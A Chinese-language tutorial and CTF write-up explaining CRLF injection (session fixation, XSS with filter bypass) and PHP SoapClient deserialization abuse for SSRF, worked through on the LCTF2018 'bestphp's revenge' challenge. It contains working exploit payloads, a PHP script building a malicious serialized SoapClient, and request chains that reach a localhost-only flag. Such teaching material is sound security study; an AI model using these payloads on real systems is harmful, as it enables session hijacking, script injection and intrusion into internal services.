CRLF漏洞以及SOAP漏洞利用之CRLF与SSRF

CRLF漏洞以及SOAP漏洞利用之CRLF与SSRF

CRLF漏洞

漏洞原理

CRLF是“回车+换行(\r\n)”的简称,在http协议中,httpheader和httpbody是用两个CRLF分隔的,浏览器是根据这两个CRLF来取出http内容并显示出来的,所以如果我们可以控制http消息头的字符,注入一些恶意的换行,这样可以注入一些会话Cookie或HTML代码,所以CRLF injection也叫HTTPReaponseSplitting,简称HRS

CRLF注入产生的会话固定漏洞

当我们可以控制httpheader中的location字段时,我们可以就可以给访问者设置一个SESSION

实例
1
2
3
4
5
6
HTTP/1.1 302 
Moved Temporarily Date: Fri, 27 Jun 2014 17:52:17 GMT
Content- Type: text/html
Content-Length: 154
Connection: close
Location:http://www.sina.com.cn

然后当我们输入

1
http://www.sina.com.cn%0d%0aSet-cookie:JSPSESSID%3Dwooyun

此时我们就设置了一个SESSION,造成会话固定漏洞

1
2
3
4
5
6
HTTP/1.1 302 Moved Temporarily Date: Fri, 27 Jun 2014 17:52:17 GMT
Content-Type: text/html
Content-Length: 154
Connection: close
Location: http://www.sina.com.cn
Set-cookie: JSPSESSID=wooyun

CRLF注入造成无视浏览器Filter反射型XSS

实例

当一个网站接受url参数http://ip/?url=xxx,xxx放在location后面作为一个跳转,所以我们可以输入

1
http://test.sina.com.cn/?url=%0d%0a%0d%0a<imgsrc=1onerror=alert(/xss/)>

则我们的返回包为

1
2
HTTP/1.1 302 Moved Temporarily Date: Fri, 27 Jun 2014 17:52:17 GMT Content-Type: text/html Content-Length: 154 Connection: close Location: 
<img src=1 onerror=alert(/xss/)>

之前说的浏览器会根据两个CRLF把HTTP包分成头和体,然后将体显示出来,所以这里这个标签会显示出来,,造成xss

对于无视filter,只有数据包中http头中含有X-XSS-Protection并且为0时,浏览器才不会开启filter,所以我们可以利用一个CRLF将X-XSS-Protection: 0注入到数据包中,再用两个CRLF来注入xss代码,这样就可以绕过filter

而对于Location的注入只有webkit内核浏览器可以使用,其它浏览器可能会跳转

SOAP漏洞利用之CRLF与SSRF

每种开发语言都有自己的webservice实现框架,php也有,php的SOAP扩展是可以提供和使用webservices,这个扩展实现六个类

1
2
3
高级类:SoapClient、SoapServer、SoapFault

低级类:SoapHeader、SoapParam 和 SoapVar

SoapClient语法

1
public SoapClient :: SoapClient (mixed $wsdl [,array $options ])

由于SoapClinet类中的一个$options选项功能有这样一句话

1
The user_agent option specifies string to use in User-Agent header

可见这个类可以让我们自定义user-agent,而httpheader有一个重要的content-type和content-length字段,可以控制发送的方式以及内容的长度,而user-agent在它们的上面,所以可以进行覆盖

因此我们可以利用CRLF来构造payload

1
2
$payload = new SoapClient(null,array('user_agent'=>"testrnCookie: PHPSESSID=08jl0ttu86a5jgda8cnhjtvq32rnContent-Type: application/x-www-form-urlencodedrnContent-Length:45rnrnusername=admin&password=nu1ladmin&code=470837rnrnrn",'location'=>$location,
'uri'=>$uri));

这个攻击的作用是从外网调用到soap的api来攻击内网,因此可以说是ssrf攻击

而这个攻击一般是利用SoapClient类中的魔术方法__call()触发的,猜测是触发__call()魔术方法发包

实例(bestphp’s revenge)

打开页面,审计源码

1
2
3
4
5
6
7
8
9
10
11
12
 <?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET['f'], $_POST);
session_start();
if (isset($_GET['name'])) {
$_SESSION['name'] = $_GET['name'];
}
var_dump($_SESSION);
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
call_user_func($b, $a);
?>

由于call_user_func()函数限制了一些函数,eval()函数在其中,而构造/flag.php,又得到一部分源码

1
2
3
4
5
6
7
session_start();
echo 'only localhost can get flag!';
$flag = 'LCTF{*************************}';
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){
$_SESSION['flag'] = $flag;
}
only localhost can get flag!

可见我们要本地访问/flag.php才可以读取flag,所以我们可以利用SoapClient类来ssrf,首先我们需要利用反序列化来控制SoapClient类中的变量,所以我们可以利用序列化引擎和反序列化引擎的不同,导致无法正常反序列化,从而伪造数据

所以我们可以利用第一个call_user_func来构造

1
session_start(['serialize_handler'=>'php_serialize'])

来让序列化和反序列化的引擎不同,然后再通过将序列化数据赋值给$_SESSION[“name”],让它将数据存储到文件时再进行序列化,并进行变量覆盖,然后取出文件,放进内存时进行反序列化,而由于我们设置的序列化和反序列化的引擎不同,所以当反序列化时会将”|“前面的值当成是键名,从而可以触发漏洞,exp

1
2
3
4
5
6
7
8
<?php
$target = "http://127.0.0.1/flag.php";
$attack = new SoapClient(null,array('location' => $target,
'user_agent' => "N0rth3ty\r\nCookie: PHPSESSID=tcjr6nadpk3md7jbgioa6elfk4\r\n",
'uri' => "123"));
$payload = urlencode(serialize($attack));
echo $payload;

所以我们可以先构造

1
2
3
4
5
get提交
?f=session_start&name=O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A3%3A%22123%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A56%3A%22N0rth3ty%0D%0ACookie%3A+PHPSESSID%3Dtcjr6nadpk3md7jbgioa6elfk4%0D%0A%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

post提交
serialize_handler=php_serialize

然后我们再构造

1
2
3
4
5
get提交
?f=extract&name=SoapClient

post提交
b=call_user_func

通过extract函数来对$b变量进行覆盖,然后再通过调用SoapClient类中不存在的welcome_to_the_lctf2018函数来触发__call()魔术方法,从而将flag赋值给$_SESSION[“flag”]

最后用刚刚构造的PHPSESSID值来读取flag

1
PHPSESSID=tcjr6nadpk3md7jbgioa6elfk4

参考文章:[https://cloud.tencent.com/developer/article/1515276]

[https://www.anquanke.com/post/id/153065#h2-1]

[https://www.jianshu.com/p/d4c304dbd0af]

[https://www.cnblogs.com/iamstudy/articles/unserialize_in_php_inner_class.html#_label1_0]